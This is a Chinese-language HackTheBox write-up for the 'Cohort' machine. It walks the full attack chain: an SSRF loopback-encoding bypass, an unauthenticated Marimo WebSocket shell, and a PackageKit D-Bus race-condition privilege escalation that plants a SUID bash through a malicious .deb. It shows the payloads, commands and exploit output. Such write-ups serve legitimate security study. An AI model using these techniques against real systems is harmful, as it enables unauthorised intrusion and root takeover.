机器 Cohort(HackTheBox)。完整攻击链:
/api/validate)中的 SSRF → 内部 vhost 发现marimo 身份获取 shellFlag 有意未包含(HTB 规则)。
10.129.93.8 cohort.htb
/api/... 端点)nb-1be3782a8afd3ad5.cohort.htb),未对外暴露该应用暴露了一个 URL 验证 端点,它会获取远程内容并将其回显。 URL 过滤器可以通过对回环地址进行编码来绕过:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
这访问到了内部 nginx,并揭示了配置的 upstreams,包括
内部 Marimo vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888。
Marimo 的 notebook WebSocket 终端处理器 未验证身份认证。
连接到 /terminal/ws 会通过 pty.fork() 生成一个 bash shell。
通过发送内部 Host 头,可以通过外部 nginx 访问到内部 vhost:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
结果:以 marimo 身份获取 shell(uid 1000)。
marimo 身份进行枚举dpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit 版本符合易受攻击的 TOCTOU 模式user.txt 位于 /home/marimo/user.txtPackageKit 1.2.8 存在一个 检查时间 / 使用时间 缺陷:GLib 空闲回调读取的事务角色和
标志可以被 竞争,方法是在同一事务上发起两个异步 D-Bus 调用,
这样特权后端会执行第二个调用(角色 NONE,
无认证检查),即使第一个调用(SIMULATE)已经通过了授权
检查。
在同一事务上连续发起两个调用:
InstallFiles(SIMULATE=4) — 通过 polkit 授权检查InstallFiles(NONE=0) — 携带恶意 .deb,作为同一
消息批次的一部分被读取恶意 .deb 会以 root 身份运行 postinst 脚本,从而放置一个 SUID bash:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
关键细节:两个调用必须 一起 刷新,以便后端在同一个批次中读取两条
消息。使用 GIO 异步 call() + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
最初的漏洞利用使用了 python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race lost
python-dbus 将两个 InstallFiles 调用序列化为 独立的写入,因此
后端的空闲回调将它们作为独立事件处理,竞争从未命中。
GIO 的 flush_sync 将两条 D-Bus 消息在单个写入批次中发送 → 竞争获胜。
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt 可读。
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)